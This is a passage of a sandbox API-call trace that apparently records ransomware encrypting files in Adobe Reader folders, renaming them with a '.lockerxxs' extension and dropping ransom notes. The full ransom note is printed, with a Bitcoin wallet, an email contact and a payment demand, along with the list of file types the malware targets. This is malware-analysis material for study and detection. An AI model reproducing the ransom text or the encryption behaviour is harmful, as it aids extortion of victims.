ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501588, cFileName=".", cAlternateFileName="")) returned 0x502618 [0069.486] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0069.486] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0069.486] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0069.486] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0069.486] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="CAT", cAlternateFileName="")) returned 1 [0069.486] lstrcmpA (lpString1=".", lpString2="CAT") returned -1 [0069.486] lstrcmpA (lpString1="..", lpString2="CAT") returned -1 [0069.486] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\*.*") returned="*.*" [0069.486] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\", lpString2="CAT" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT" [0069.486] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014f8, dwReserved1=0x5014f3, cFileName=".", cAlternateFileName="")) returned 0x502658 [0069.488] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0069.488] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0069.488] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0069.488] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0069.488] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49c, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0069.488] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0069.488] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="eula.ini") returned -1 [0069.488] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="eula.ini") returned 1 [0069.488] lstrcmpiA (lpString1="", lpString2="eula.ini") returned -1 [0069.488] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\*.*") returned="*.*" [0069.488] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\" [0069.488] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\") returned="" [0069.488] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\HOW TO DECRYPT FILES.txt" [0069.489] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cat\\how to decrypt files.txt")) returned 0xffffffff [0069.489] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cat\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0069.491] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0069.491] CloseHandle (hObject=0x94) returned 1 [0069.491] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\", lpString2="eula.ini" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\eula.ini" [0069.492] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\eula.ini", pszSpec="*.ems") returned 0 [0069.492] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0069.492] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0069.492] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="license.html") returned -1 [0069.492] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="license.html") returned -1 [0069.492] lstrcmpiA (lpString1="", lpString2="license.html") returned -1 [0069.492] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\eula.ini") returned="eula.ini" [0069.492] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\" [0069.492] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\") returned="" [0069.492] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\HOW TO DECRYPT FILES.txt" [0069.492] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cat\\how to decrypt files.txt")) returned 0x20 [0069.492] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\", lpString2="license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\license.html" [0069.493] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\license.html", pszSpec="*.ems") returned 0 [0069.493] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\license.html" [0069.493] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\license.html" [0069.493] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\license.html", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\license.html.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\license.html." [0069.493] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\license.html.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\license.html.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\license.html.lockerxxs" [0069.493] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cat\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0069.494] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xd11a [0069.495] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9c36ae00, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x81efec40, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9c36ae00, dwHighDateTime=0x1cb84b4)) returned 1 [0069.495] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.495] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xd0f4, lpOverlapped=0x0) returned 1 [0069.497] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\license.html") returned="license.html" [0069.498] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.498] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xd0f4, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xd0f4, lpOverlapped=0x0) returned 1 [0069.498] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0069.499] CloseHandle (hObject=0x94) returned 1 [0069.500] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cat\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\license.html.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cat\\license.html.lockerxxs")) returned 1 [0069.501] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0069.502] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0069.502] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x3, cFileName="CHS", cAlternateFileName="")) returned 1 [0069.502] lstrcmpA (lpString1=".", lpString2="CHS") returned -1 [0069.502] lstrcmpA (lpString1="..", lpString2="CHS") returned -1 [0069.502] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\*.*") returned="*.*" [0069.502] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\", lpString2="CHS" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS" [0069.502] lstrlenA (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS") returned 57 [0069.502] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf20003f1, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0069.503] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0069.503] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0069.504] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0069.504] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0069.504] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0069.504] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0069.504] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="eula.ini") returned -1 [0069.504] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="eula.ini") returned 1 [0069.504] lstrcmpiA (lpString1="", lpString2="eula.ini") returned -1 [0069.504] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\*.*") returned="*.*" [0069.504] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\" [0069.504] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\") returned="" [0069.504] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\HOW TO DECRYPT FILES.txt" [0069.504] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\chs\\how to decrypt files.txt")) returned 0xffffffff [0069.504] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\chs\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0069.505] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0069.505] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0069.506] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0069.506] CloseHandle (hObject=0x94) returned 1 [0069.507] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\", lpString2="eula.ini" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini" [0069.507] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.ems") returned 0 [0069.507] lstrlenA (lpString="*.ems") returned 5 [0069.507] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.db") returned 0 [0069.507] lstrlenA (lpString="*.db") returned 4 [0069.507] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.dbf") returned 0 [0069.507] lstrlenA (lpString="*.dbf") returned 5 [0069.507] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.myox") returned 0 [0069.507] lstrlenA (lpString="*.myox") returned 6 [0069.507] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.myo") returned 0 [0069.507] lstrlenA (lpString="*.myo") returned 5 [0069.507] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.qbw") returned 0 [0069.507] lstrlenA (lpString="*.qbw") returned 5 [0069.507] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.qbb") returned 0 [0069.507] lstrlenA (lpString="*.qbb") returned 5 [0069.507] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.qbm") returned 0 [0069.507] lstrlenA (lpString="*.qbm") returned 5 [0069.507] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.qbo") returned 0 [0069.507] lstrlenA (lpString="*.qbo") returned 5 [0069.507] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.qbx") returned 0 [0069.508] lstrlenA (lpString="*.qbx") returned 5 [0069.508] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.qba") returned 0 [0069.508] lstrlenA (lpString="*.qba") returned 5 [0069.508] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.qby") returned 0 [0069.508] lstrlenA (lpString="*.qby") returned 5 [0069.508] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.qbj") returned 0 [0069.508] lstrlenA (lpString="*.qbj") returned 5 [0069.508] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.ofx") returned 0 [0069.508] lstrlenA (lpString="*.ofx") returned 5 [0069.508] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.qif") returned 0 [0069.508] lstrlenA (lpString="*.qif") returned 5 [0069.508] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.mye") returned 0 [0069.508] lstrlenA (lpString="*.mye") returned 5 [0069.508] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.mbox") returned 0 [0069.508] lstrlenA (lpString="*.mbox") returned 6 [0069.508] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.eml") returned 0 [0069.508] lstrlenA (lpString="*.eml") returned 5 [0069.508] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.pst") returned 0 [0069.508] lstrlenA (lpString="*.pst") returned 5 [0069.508] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.ost") returned 0 [0069.508] lstrlenA (lpString="*.ost") returned 5 [0069.508] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.idx") returned 0 [0069.509] lstrlenA (lpString="*.idx") returned 5 [0069.509] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.dbx") returned 0 [0069.509] lstrlenA (lpString="*.dbx") returned 5 [0069.509] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.sql") returned 0 [0069.509] lstrlenA (lpString="*.sql") returned 5 [0069.509] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.mdb") returned 0 [0069.509] lstrlenA (lpString="*.mdb") returned 5 [0069.509] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.fdb") returned 0 [0069.509] lstrlenA (lpString="*.fdb") returned 5 [0069.509] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.wab") returned 0 [0069.509] lstrlenA (lpString="*.wab") returned 5 [0069.509] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.dat") returned 0 [0069.509] lstrlenA (lpString="*.dat") returned 5 [0069.509] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 